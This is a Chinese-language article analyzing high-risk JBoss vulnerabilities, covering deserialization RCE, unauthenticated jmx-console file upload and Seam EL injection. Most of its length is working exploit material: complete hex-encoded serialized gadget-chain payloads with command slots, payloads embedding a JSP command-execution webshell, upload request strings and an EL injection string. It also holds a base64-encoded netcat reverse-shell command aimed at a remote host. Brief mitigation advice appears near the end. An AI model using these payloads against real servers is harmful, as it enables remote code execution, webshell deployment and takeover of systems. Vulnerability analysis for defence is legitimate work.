打开JBoss的潘多拉魔盒——JBoss高危漏洞分析
导语：JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或
0x01 JBoss简介
JBoss是一个基于J2EE的开放源代码应用服务器，代码遵循LGPL许可，可以在任何商业应用中免费使用；JBoss也是一个管理EJB的容器和服务器，支持EJB 1.1、EJB 2.0和EJB3规范。但JBoss核心服务不包括支持servlet/JSP的WEB容器，一般与Tomcat或Jetty绑定使用。在J2EE应用服务器领域，JBoss是发展最为迅速的应用服务器。由于JBoss遵循商业友好的LGPL授权分发，并且由开源社区开发，这使得JBoss广为流行。
JBoss有许多优点。
其二，本身就是面向服务架构（Service-Oriented Architecture，SOA）；
其三，具有统一的类装载器，从而能够实现应用的热部署和热卸载能力。
因此，高度模块化的和松耦合。JBoss应用服务器是健壮的、高质量的，而且还具有良好的性能。
JBoss AS作为Redhat公司的商业产品JBoss Enterprise Application Platform的上游基础，为了避免用户混淆，该公司在去年10月份就为JBoss AS拟定一个新名字——WildFly。
目前JBoss在全球的使用量也占居前列。据统计，在全球范围内对互联网开放JBoss服务的资产数量多达106,499台，美国、中国和巴西的JBoss的使用量接近JBoss总使用量的55%，其中归属中国地区的资产数量为18,735台。
由此看来，国内使用JBoss服务的用户很广泛，因此防范JBoss漏洞就显得尤为重要了。一旦JBoss的潘多拉魔盒被打开，必将在当今网络中掀起腥风血雨。
0x02高危漏洞介绍
近几年JBoss爆发的漏洞数量与其他著名的中间件（Weblogic,Jenkins,WebSphere等）相比，数量相对较少。然而，由于最近几年Java反序列化漏洞的肆虐，JBoss也深受其害，相继爆发了三个著名的高危漏洞。
下面介绍一下JBoss“潘多拉魔盒”中的高危漏洞。
JBoss高危漏洞主要涉及到两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞，例如：CVE-2007-1036，CVE-2010-0738,CVE-2005-5750以及JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability。
另一种是利用Java反序列化进行远程代码执行的漏洞，例如：CVE-2015-7501，CVE-2017-7504，CVE-2017-12149，CVE-2013-4810。
除此之外，还要额外介绍一下JBoss seam2的模板注入CVE-2010-1871漏洞。
Java反序列化RCE漏洞
关于Java反序列化漏洞的利用思路此前已经介绍过，详情请看http://www.4hou.com/vulnerable/12874.html
1.CVE-2015-7501漏洞
此漏洞主要是由于JBoss中invoker/JMXInvokerServlet路径对外开放，由于JBoss的jmx组件支持Java反序列化，并且在反序列化过程中没有加入有效的安全检测机制，导致攻击者可以传入精心构造好的恶意序列化数据，在jmx对其进行反序列化处理时，导致传入的携带恶意代码的序列化数据执行，造成反序列化漏洞，下面是传入的序列化结构。
从图中我们可以看到，此漏洞的payload和weblogic Java反序列化CVE-2015-4852原理相同，都是利用了Apache Commons Collections的基础库进行Java反序列化漏洞的利用。
CVE-2015-7501 POC
首先我们进入到/invoker/JMXInvokerServlet路径下，post传入我们构造好的payload，下面的序列化POC需要将16进制解码。
|
aced00057372003273756e2e7265666c6563742e616e6e6f746174696f6e2e416e6e6f746174696f6e496e766f636174696f6e48616e646c657255caf50f15cb7ea50200024c000c6d656d62657256616c75657374000f4c6a6176612f7574696c2f4d61703b4c0004747970657400114c6a6176612f6c616e672f436c6173733b7870737200316f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e5472616e73666f726d65644d617061773fe05df15a700300024c000e6b65795472616e73666f726d657274002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b4c001076616c75655472616e73666f726d657271007e00057870707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000047372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e747400124c6a6176612f6c616e672f4f626a6563743b7870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001900000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00197371007e00117571007e001600000002707571007e001600000000740006696e766f6b657571007e001900000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00167371007e00117571007e001600000001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000037400072f62696e2f73687400022d63740067' + binascii.b2a_hex(cmd) + '740004657865637571007e0019000000017671007e002a737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000c7708000000100000000174000576616c756574000d646f65732774206d617474657278787672001b6a6176612e6c616e672e616e6e6f746174696f6e2e54617267657400000000000000000000007870 |
在上面的POC中，cmd是我们想要执行的代码，这里大家注意一下，binascii.b2a_hex(cmd)前面的两位（标红的部分）是代表cmd转换为16进制的长度。所以需要根据我们具体传入的代码而进行调整。
这个漏洞的修补方法很简单，因为ysoserial工具生成的payload都依赖于InvokerTransformer类。如果用户在正常业务中不使用此类，可以将此类移除，方法为使用Winzip打开jar文件，在org/apache/commons/collections/functors/InvokerTransformer.class删除该文件。
2.CVE-2017-7504漏洞
CVE-2017-7504漏洞与CVE-2015-7501的漏洞如出一辙，只是利用的路径稍微出现了变化，CVE-2017-7504出现在/jbossmq-httpil/HTTPServerILServlet路径下，一般出现如图所示的界面，绝大多数存在此漏洞。
漏洞的利用方式也和CVE-2105-7501相同，只需要在存在漏洞的路径下post传入我们构造的payload，即可对存在漏洞的服务器进行远程代码攻击。Payload使用上面提到的CVE-2015-7501的POC即可。
3.CVE-2017-12149漏洞
此漏洞主要是由于jboss\server\all\deploy\httpha-invoker.sar\invoker.war\WEB-INF\classes\org\jboss\invocation\http\servlet目录下的ReadOnlyAccessFilter.class文件中的doFilter方法，再将序列化传入ois中，并没有进行过滤便调用了readObject()进行反序列化，导致传入的携带恶意代码的序列化数据执行，造成了反序列化的漏洞，下面粘出doFilter方法。
看到代码中的MarshalledInvocation，也许熟悉weblogic Java反序列化漏洞的同学可能会想到CVE-2016-3510漏洞。没错，这个漏洞也是利用了MarshalledInvocation类进行的Java反序列化攻击。首先我们进入到/invoker/readonly路径下，post传入我们构造好的payload，下面的序列化POC需要将16进制解码。
CVE-2017-12149的POC（序列化）
|
aced00057372002e6a617661782e6d616e6167656d656e742e42616441747472696275746556616c7565457870457863657074696f6ed4e7daab632d46400200014c000376616c7400124c6a6176612f6c616e672f4f626a6563743b787200136a6176612e6c616e672e457863657074696f6ed0fd1f3e1a3b1cc4020000787200136a6176612e6c616e672e5468726f7761626c65d5c635273977b8cb0300044c000563617573657400154c6a6176612f6c616e672f5468726f7761626c653b4c000d64657461696c4d6573736167657400124c6a6176612f6c616e672f537472696e673b5b000a737461636b547261636574001e5b4c6a6176612f6c616e672f537461636b5472616365456c656d656e743b4c001473757070726573736564457863657074696f6e737400104c6a6176612f7574696c2f4c6973743b787071007e0008707572001e5b4c6a6176612e6c616e672e537461636b5472616365456c656d656e743b02462a3c3cfd22390200007870000000037372001b6a6176612e6c616e672e537461636b5472616365456c656d656e746109c59a2636dd8502000449000a6c696e654e756d6265724c000e6465636c6172696e67436c61737371007e00054c000866696c654e616d6571007e00054c000a6d6574686f644e616d6571007e000578700000005374002679736f73657269616c2e7061796c6f6164732e436f6d6d6f6e73436f6c6c656374696f6e7335740018436f6d6d6f6e73436f6c6c656374696f6e73352e6a6176617400096765744f626a6563747371007e000b0000003571007e000d71007e000e71007e000f7371007e000b0000002274001979736f73657269616c2e47656e65726174655061796c6f616474001447656e65726174655061796c6f61642e6a6176617400046d61696e737200266a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c654c697374fc0f2531b5ec8e100200014c00046c69737471007e00077872002c6a6176612e7574696c2e436f6c6c656374696f6e7324556e6d6f6469666961626c65436f6c6c656374696f6e19420080cb5ef71e0200014c0001637400164c6a6176612f7574696c2f436f6c6c656374696f6e3b7870737200136a6176612e7574696c2e41727261794c6973747881d21d99c7619d03000149000473697a657870000000007704000000007871007e001a78737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b657971007e00014c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00017870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d6571007e00055b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e003200000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e00327371007e002b7571007e002f00000002707571007e002f00000000740006696e766f6b657571007e003200000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e002f7371007e002b757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000017400b1 + cmd_hex + 740004657865637571007e00320000000171007e00377371007e0027737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f40000000000000770800000010000000007878' |
这里我们在cmd_hex所在位置，必须要插入类似于
“bash -c {echo,bmMgLW52IDE5Mi4xNjguMTYuMSA0MDQw}|{base64,-d}|{bash,-i}”
这种形式的命令才可以达到攻击效果，这是因为使用了“Java.lang.Runtime.exec(String)”语句而导致的一些限制。首先是不支持shell操作符，如输出重定向以及管道。其次是传递给payload命令的参数中不能包含空格。同样前面标红的那两位(b1)也需要和我们插入的指令长度相符，这是Java序列化中的结构规定。
如果进入到漏洞所在路径看见如下图的界面，很可能存在CVE-2017-12149漏洞。
4.CVE-2013-4810漏洞
此漏洞和CVE-2015-7501漏洞原理相同，这里详细介绍一下两者的区别，其区别就在于两个漏洞选择的进行其中JMXInvokerServlet和EJBInvokerServlet利用的是org.jboss.invocation.MarshalledValue进行的反序列化操作，而web-console/Invoker利用的是org.jboss.console.remote.RemoteMBeanInvocation进行反序列化并上传构造的文件。
首先我们进入到/invoker/JMXInvokerServlet，/invoker/EJBInvokerServlet路径下，post传入我们构造好的payload，并在头部传入。
|
ContentType: application/x-Java-serialized-object;.jboss.invocation.MarshalledInvocation\r\n |
下面的序列化POC需要将16进制解码。
CVE-2013-4810的POC（序列化）
|
aced0005737200296f72672e6a626f73732e696e766f636174696f6e2e4d61727368616c6c6564496e766f636174696f6ef6069527413ea4be0c0000787070770878949847c1d05387737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b02000078702695be0a737200246f72672e6a626f73732e696e766f636174696f6e2e4d61727368616c6c656456616c7565eacce0d1f44ad0990c000078707a0000036800000360aced0005757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000047372001b6a617661782e6d616e6167656d656e742e4f626a6563744e616d650f03a71beb6d15cf030000787074002c6a626f73732e61646d696e3a736572766963653d4465706c6f796d656e7446696c655265706f7369746f72797874000573746f72657571007e0000000000057400086d6d6d6d2e776172740005696e6465787400042e6a73707402003c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e3c2569662028726571756573742e676574506172616d657465722822636865636b22292e657175616c73282261222929202020206f75742e7072696e746c6e2822303938656630336131356561663134646665363661353936636630656235313022293b69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c297b2020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b20202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b2020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b20202020537472696e672064697372203d206469732e726561644c696e6528293b202020207768696c652028206469737220213d206e756c6c29202020207b20202020202020206f75742e7072696e746c6e2864697372293b202020202020202064697372203d206469732e726561644c696e6528293b202020207d7d253e737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c7565787001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000057400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e67740007626f6f6c65616e73209bf978770400000001737200226f72672e6a626f73732e696e766f636174696f6e2e496e766f636174696f6e4b6579b8fb7284d79385f90200014900076f7264696e616c7870000000057371007e0005770d00000005aced000570fb57a7aa787704000000037371007e000700000004737200236f72672e6a626f73732e696e766f636174696f6e2e496e766f636174696f6e5479706559a73a1ca52b7cbf0200014900076f7264696e616c7870000000017371007e00070000000a7074000f4a4d585f4f424a4543545f4e414d457372001b6a617661782e6d616e6167656d656e742e4f626a6563744e616d650f03a71beb6d15cf030000787074002c6a626f73732e61646d696e3a736572766963653d4465706c6f796d656e7446696c655265706f7369746f72797878 |
POC的序列化结构如下图：
图中红框位置就是我们执行上传文件功能（jboss.admin中的DeploymentFileRepository）的代码和上传文件的内容。
另外如果是检测web-console/Invoker路径下的漏洞，则传入http头部如下
|
ContentType: application/x-Java-serialized-object; |
post传入的payload如下
|
aced00057372002e6f72672e6a626f73732e636f6e736f6c652e72656d6f74652e52656d6f74654d4265616e496e766f636174696f6ee04fa37a74ae8dfa0200044c000a616374696f6e4e616d657400124c6a6176612f6c616e672f537472696e673b5b0006706172616d737400135b4c6a6176612f6c616e672f4f626a6563743b5b00097369676e61747572657400135b4c6a6176612f6c616e672f537472696e673b4c00107461726765744f626a6563744e616d6574001d4c6a617661782f6d616e6167656d656e742f4f626a6563744e616d653b787074000573746f7265757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c0200007870000000057400086b6d6f6c2e776172740005696e6465787400042e6a73707402003c2540207061676520696d706f72743d226a6176612e7574696c2e2a2c6a6176612e696f2e2a22253e3c2569662028726571756573742e676574506172616d657465722822636865636b22292e657175616c73282261222929202020206f75742e7072696e746c6e2822303938656630336131356561663134646665363661353936636630656235313022293b69662028726571756573742e676574506172616d657465722822636d64222920213d206e756c6c297b2020202050726f636573732070203d2052756e74696d652e67657452756e74696d6528292e6578656328726571756573742e676574506172616d657465722822636d642229293b202020204f757470757453747265616d206f73203d20702e6765744f757470757453747265616d28293b20202020496e70757453747265616d20696e203d20702e676574496e70757453747265616d28293b2020202044617461496e70757453747265616d20646973203d206e65772044617461496e70757453747265616d28696e293b20202020537472696e672064697372203d206469732e726561644c696e6528293b202020207768696c652028206469737220213d206e756c6c29202020207b20202020202020206f75742e7072696e746c6e2864697372293b202020202020202064697372203d206469732e726561644c696e6528293b202020207d7d253e737200116a6176612e6c616e672e426f6f6c65616ecd207280d59cfaee0200015a000576616c7565787001757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b470200007870000000057400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e677400106a6176612e6c616e672e537472696e67740007626f6f6c65616e7372001b6a617661782e6d616e6167656d656e742e4f626a6563744e616d650f03a71beb6d15cf030000787074002c6a626f73732e61646d696e3a736572766963653d4465706c6f796d656e7446696c655265706f7369746f727978 |
POC的序列化结构如下图
图中红框位置就是我们上传文件内容。
JBoss后台文件上传的漏洞
1.CVE-2007-1036漏洞
此漏洞主要是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台中jboss.admin -> DeploymentFileRepository -> store()方法，通过向四个参数传入信息，达到上传shell的目的，其中arg0传入的是部署的war包名字，arg1传入的是上传的文件的文件名，arg2传入的是上传文件的文件格式，arg3传入的是上传文件中的内容。通过控制这四个参数即可上传shell，控制整台服务器。但是通过实验发现，arg1和arg2可以进行文件的拼接，例如arg1=she，arg2=ll.jsp。这个时候服务器还是会进行拼接，将shell.jsp传入到指定路径下。后面的CVE-2010-0738和CVE-2005-5750漏洞也存在这一特性。
CVE-2007-1036 POC
|
action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=Java.lang.String&arg0=' + war_name + '.war&argType=Java.lang.String&arg1=' + str(filename) + '&argType=Java.lang.String&arg2=.txt&argType=Java.lang.String&arg3=helloworld&argType=boolean&arg4=True |
其中war_name是部署war包的名称，filename是我们想要上传的文件名。漏洞利用过程就是将POC以GET或POST方式在/jmx-console/HtmlAdaptor路径下进行传入即可。
下图是利用此payload进行shell上传
这个是存在漏洞的后台路径
图中的store()函数便是文件上传使用的方法，通过构造内部的4的参数，将我们构造好的文件传到任何我们指定的位置。
2.CVE-2010-0738漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同，唯一的区别是CVE-2010-0738漏洞利用了HTTP中HEAD请求方法，绕过了对GET和POST请求的限制，成功地再次利用jboss.admin -> DeploymentFileRepository -> store()方法上传文件。
CVE-2010-0738 POC
|
action=invokeOpByName&name=jboss.admin:service=DeploymentFileRepository&methodName=store&argType=Java.lang.String&arg0=' + war_name + '.war&argType=Java.lang.String&arg1=' + str(filename) + '&argType=Java.lang.String&arg2=.txt&argType=Java.lang.String&arg3=helloworld&argType=boolean&arg4=True |
其中war_name是部署war包的名称，filename是我们想要上传的文件名。漏洞利用过程就是将POC以HEAD方式在/jmx-console/HtmlAdaptor路径下进行传入即可。
下图是成功上传shell的截图。
3.CVE-2005-5750漏洞
此漏洞利用原理和CVE-2007-1036漏洞相同，唯一的区别是CVE-2006-5750漏洞利用methodIndex进行store()方法的调用。其中methodIndex是通过方法的编号进行调用。
CVE-2005-5750 POC
|
action=invokeOp&name=jboss.admin:service=DeploymentFileRepository&methodIndex=5&arg0=' + war_name + '.war&arg1=' + str(filename) + '&arg2=.txt&arg3=helloworld&arg4=True' |
其中war_name是部署war包的名称，filename是我们想要上传的文件名。在/jmx-console/HtmlAdaptor路径下，使用HEAD方法传入上面构造好的payload，即可对此漏洞进行利用。
下图是成功上传shell的截图。
4.JBoss jmx-consoleHtmlAdaptor addURL() 文件上传漏洞
此漏洞是由于JBoss中/jmx-console/HtmlAdaptor路径对外开放，并且没有任何身份验证机制，导致攻击者可以进入到jmx控制台，并在其中执行任何功能。该漏洞利用的是后台jboss.deployment -> DeploymentScanner -> Java.net.URL类型 addURL()
方法，通过向一个参数传入url进行访问，在要访问的url中构造带有shell的war包，当服务器访问时便会上传shell。但是，上传shell的文件只是一个映射文件，当url一旦无法访问或者内部资源丢失，则服务器上的文件也会相应消失。
JBoss jmx-consoleHtmlAdaptor addURL() File Upload Vulnerability POC
|
action=invokeOpByName&name=jboss.deployment%3Atype%3DDeploymentScanner%2Cflavor%3DURL&methodName=addURL&argType=Java.net.URL&arg0=http%3A%2F%2F + cmd |
其中arg0传入的是我们可以控制服务器访问的url。在/jmx-console/HtmlAdaptor路径下GET传入我们构造好的payload，即可对此漏洞进行漏洞利用。
下图是漏洞利用所选择的函数
防御以上漏洞，其实只需要将JBoss后台添加权限，控制访问者对敏感路径访问即可。
JBoss seam2模板注入
在介绍漏洞之前，首先介绍一下Java反射机制。
很多POC都是利用Java的反射机制来调用需要的方法进行远程代码执行。在Java中，一切皆为对象，包括Class对象。Java反射机制是在运行状态中，对于任意一个类，都能够知道这个类的所有属性和方法；对于任意一个对象，都能够调用它的任意一个方法和属性。
在下面的漏洞中，我们可以利用一些函数去反射需要的类，以及类的方法。例如，利用getClass()函数获取类，并利用getMethod()获取我们想要反射的方法。在CVE-2010-1871，就是通过反射出Java.lang.Runtime.getRuntime().exec()方法，进行远程代码执行。
1.CVE-2010-1871漏洞
此漏洞是通过seam组件中插入#{payload}进行模板注入，我们可以在/admin-console/login.seam?actionOutcome=/success.xhtml?user%3d%23{}的#{}中插入我们要执行的方法，我们可以通过Java反射机制来获取到Java.lang.Runtime.getRuntime().exec()方法，从而可以传入任何想要执行的指令。
CVE-2010-1871 POC
|
actionOutcome=/success.xhtml?user%3d%23{expressions.getClass().forName('Java.lang.Runtime').getDeclaredMethod('getRuntime').invoke(expressions.getClass().forName('Java.lang.Runtime')).exec(cmd)} |
其中cmd代表传入的远程命令。在/admin-console/login.seam路径下，POST传入我们构造好的payload，即可对此漏洞利用。
0x03结语
目前，JBoss未授权访问的漏洞已经得到了很好的修复，一些对外组件都添加了权限访问控制，想继续利用
JBoss的潘多拉魔盒已经开启，每一个JBoss高危漏洞都会给使用JBoss的用户造成巨大的灾难。传言，潘多拉在开启魔盒的瞬间，由于害怕和紧张，在智慧女神雅典娜放在盒子中的“希望”还没有飞出，就关上了盒子，导致了人类饱受疾病与灾难的痛苦。那么作为一个安全研究员，放飞盒子中的“希望”就是我们现在需要努力的方向。及时的在漏洞爆发期间完成对漏洞的分析，并完成对漏洞的预防，防止漏洞攻击在网络环境中肆虐，保护大家的网络环境，这便是安全研究员的职责所在。
目前，JBoss未授权访问的漏洞已经得到了很好的修复，一些管理后台都添加了权限访问控制，想继续通过JBoss后台进行文件上传在现在的JBoss版本已经很少能实现了。目前JBoss的攻击趋势随着2015年FoxGlove Security 安全团队的 @breenmachine 博客的发布而渐渐偏向于Java反序列化攻击。因为这种攻击的特点是，危险等级高，影响范围广，一个Java反序列化漏洞造成的影响是巨大的。所以对于JBoss，我们需要做的防护措施就是，在各个对外开放组件进行输入验证，确保传入的信息中没有对服务器产生危害的内容。
漏洞挖掘者和漏洞防御者之间的博弈从未停止过，而且这种博弈在今后的生活中也将会愈演愈烈，安全研究员时刻准备迎接挑战。